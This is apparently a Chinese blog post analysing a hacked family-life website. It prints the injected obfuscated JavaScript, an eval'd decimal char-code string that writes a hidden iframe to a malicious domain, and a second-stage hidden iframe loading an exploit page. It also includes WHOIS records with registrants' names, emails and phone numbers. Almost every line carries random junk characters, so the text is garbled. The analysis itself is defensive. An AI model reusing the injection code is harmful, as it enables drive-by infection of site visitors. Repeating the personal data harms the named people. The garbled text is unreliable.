首发在我的博客里面，
n<66 7
< R*z:+p}oHy http://www.areway.cn/?p=175 jGKas I` =@ "'aCU/ e*jfxQ=qG 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
=1h> N/VJ &g\?znF]H <script>t=’60,105,102,114,97,109,101,
(X}Q'm$n\h 32,115,114,99,61,104,116,116,112,58,47,47,
Pqb])-M9p 102,114,101,101,46,117,45,117,117,117,46,99,
Gt5'-Hyo 110,47,101,114,114,111,114,46,104,116,109,
-MT .qhx 32,119,105,100,116,104,61,49,48,48,32,104,
`KzNBH,W 101,105,103,104,116,61,48,62,60,47,105,102,
lO5*n|Ic, 114,97,109,101,62′;
!Zma\Ip t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
.T }q"
<%Afa# <script>t=’60,105,102,114,97,109,101,32,115,
l?swW+ x\ 114,99,61,104,116,116,112,58,47,47,102,114,
?ZlN$h^ 101,101,46,117,45,117,117,117,46,99,110,47,
0FEn& \2< 101,114,114,111,114,46,104,116,109,32,119,
_#rE6./@q 105,100,116,104,61,49,48,48,32,104,101,105,
X1; ljX 103,104,116,61,48,62,60,47,105,102,114,97,
Z*Jp?[## 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
T1c.ER}17 document.write(t);</script>
LFV',1+ Jb"0P`senY <html xmlns=”
u!K5jqP http://www.w3.org/1999/xhtml l/o
4b kV “>
K18Sj,]B <head>
/J` ZO$ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
g7nqe~`{ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Zi~-m]9U <title>首页 - 爱生活家庭网
5Bog\m S `#w`-
上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
]0&ExD\4 转换字符串后的大概内容是（谁点击后果自付）：
VA0p1AD <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
r2; )VS Ve\=By-a| 查询玉米u-uuu.cn的详细信息：
Z=\wI:TY1 Domain Name: u-uuu.cn
sFWH*k dP? ROID: 20070901s10001s64972306-cn
o
9] 2 Domain Status: ok
#{oGmzG! Registrant Organization: 王雷
hh y nB^o Registrant Name: 王雷
(& t8.7O Administrative Email:
czlovexs@126.com ,.T k "\@ Sponsoring Registrar: 北京万网志成科技有限公司
cl3Dwrf? Name Server:ns.yovole.com
>Lr ud { Name Server:ns1.yovole.com
#K _E/~ Registration Date: 2007-09-01 17:54
\" W _\&X Expiration Date: 2008-09-01 17:54
vynchZ+g] 最后PING了一下地址 都没有什么….
li
Hz5<| * {e?%!Q 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
_
BUD~'Q5 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
{u,yX@F4l <script language=”javascript” src=”
&*3O+$L http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script S& `iEwG >
KOM]7%ys1H 这个玉米应该有可能是木马作者的：
p s wEIa foafau.info的详细信息：
?3)
IzzO Access to INFO WHOIS information is provided to assist persons in
:ncR7:Z determining the contents of a domain name registration record in the
SF2< Afilias registry database. The data in this record is provided by
8F*"z^vD= Afilias Limited for informational purposes only, and Afilias does not
BPkqC >w guarantee its accuracy. This service is intended only for query-based
zP$Ef7bB access. You agree that you will use this data only for lawful purposes
(<:mCPk(~ and that, under no circumstances will you use this data to: (a) allow,
w` ;>+_ E7 enable, or otherwise support the transmission by e-mail, telephone, or
^~:&/ 0 facsimile of mass unsolicited, commercial advertising or solicitations
mrvPzoF,] to entities other than the data recipient’s own existing customers; or
T nG=X:+= (b) enable high volume, automated, electronic processes that send
yC <[ LH queries or data to the systems of Registry Operator, a Registrar, or
a="\?L5 Afilias except as reasonably necessary to register domain names or
z'+k]N9Q^ modify existing registrations. All rights reserved. Afilias reserves
;$= GrR the right to modify these terms at any time. By submitting this query,
'E#;`}&Ah you agree to abide by this policy.
tQ >
IJ Domain ID:D22418703-LRMS
gcNpA?mC|u Domain Name:FOAFAU.INFO
HD& Ag Created On:20-Nov-2007 16:05:42 UTC
21\t2<" Last Updated On:20-Nov-2007 16:05:44 UTC
h-`*S&mZ Expiration Date:20-Nov-2008 16:05:42 UTC
"Yu';& Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
oykqCN Status:CLIENT DELETE PROHIBITED
n :P 5m9T Status:CLIENT RENEW PROHIBITED
| zaYIVE[ Status:CLIENT TRANSFER PROHIBITED
-WX{ y Ci Status:CLIENT UPDATE PROHIBITED
3S_H hvB Status:TRANSFER PROHIBITED
_x ;f TW0 Registrant ID:GODA-040110615
C)| {7W Registrant Name:liu hong
~^u#Q\KE" Registrant Organization:
%ymM#5A Registrant Street1:beijing
R ?K[O
Registrant Street2:
XK 09x1r Registrant Street3:
-P5M (Rt Registrant City:beijing
eGJ}';O,g Registrant State/Province:
Q:4euhz * Registrant Postal Code:100000
~wdKO7fs Registrant Country:CN
O] n Zr Registrant Phone:+86.860108888777
c[xH: $G?Y Registrant Phone Ext.:
PN&;3z Z Registrant FAX:
"uthFE Registrant FAX Ext.:
Gap\~Z@L Registrant Email:bbbshiji@163.com
Ea7LPHE# Admin ID:GODA-240110615
(V xWa#P Admin Name:liu hong
;.g <u Admin Organization:
2]f"(X4jp Admin Street1:beijing
,n &e,I Admin Street2:
a#qC.,$A Admin Street3:
Ef2#} %> Admin City:beijing
Pd[&&!+gV Admin State/Province:
h5.>};"@ ' Admin Postal Code:100000
- #ta/*TT: Admin Country:CN
1tNmiAu Admin Phone:+86.860108888777
&74*CO9B9 Admin Phone Ext.:
c!{]Z_d\ Admin FAX:
u0vq` 5 L Admin FAX Ext.:
%O< qw Admin Email:bbbshiji@163.com
XZk?aik}` Billing ID:GODA-340110615
@9wug!, Billing Name:liu hong
6UkX?I`> Billing Organization:
GGY WvGE+ Billing Street1:beijing
o|v_+<zD! Billing Street2:
mJ3|UClPS Billing Street3:
?+W SYg0 Billing City:beijing
u= 5~^ 9 Billing State/Province:
!VfP#B6. Billing Postal Code:100000
l {7q( Billing Country:CN
dIUg
e`O9 Billing Phone:+86.860108888777
JlF$|y,gV, Billing Phone Ext.:
u{-J?t&` Billing FAX:
> **7ck
Billing FAX Ext.:
V+M=@Pvp9 Billing Email:bbbshiji@163.com
AxOn~fZ! Tech ID:GODA-140110615
9Xu
O\+z Tech Name:liu hong
m'Thm{Y,?n Tech Organization:
Y`x54_3 2 Tech Street1:beijing
0{Kb1Ut Tech Street2:
ezC2E/# Tech Street3:
!P6\-. Tech City:beijing
^,$>z*WQ. Tech State/Province:
2bB&/Uumsd Tech Postal Code:100000
>c~ Fg s Tech Country:CN
iYyJq;S
Tech Phone:+86.860108888777
OC [ +t6 Tech Phone Ext.:
2[Ja|W\If Tech FAX:
&D|wc4+ Tech FAX Ext.:
42Gv]X Tech Email:bbbshiji@163.com
d4h,
+OU Name Server:NS27.DOMAINCONTROL.COM
jNIZ!/K Name Server:NS28.DOMAINCONTROL.COM
W+'|zhn Name Server:
!H5r+%Oo| Name Server:
`qjiC>9 Name Server:
nEZ o F Name Server:
RK*ZlD< Name Server:
Z5vpo$l Name Server:
)T=cd Name Server:
;JK !dzi} Name Server:
B^z3u=ll Name Server:
Iaq7<$XU Name Server:
RSNukg Name Server:
q x1}e 0 ;b%@_E 接着下载每个文件里面的代码：
?W % 9H\; 一步一步看..
Felu`@b 
X"KX_)GZD 
Puu O2TZ 
/uc*V6Xd
( 
gUo L8~ 
BJM_kKH 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
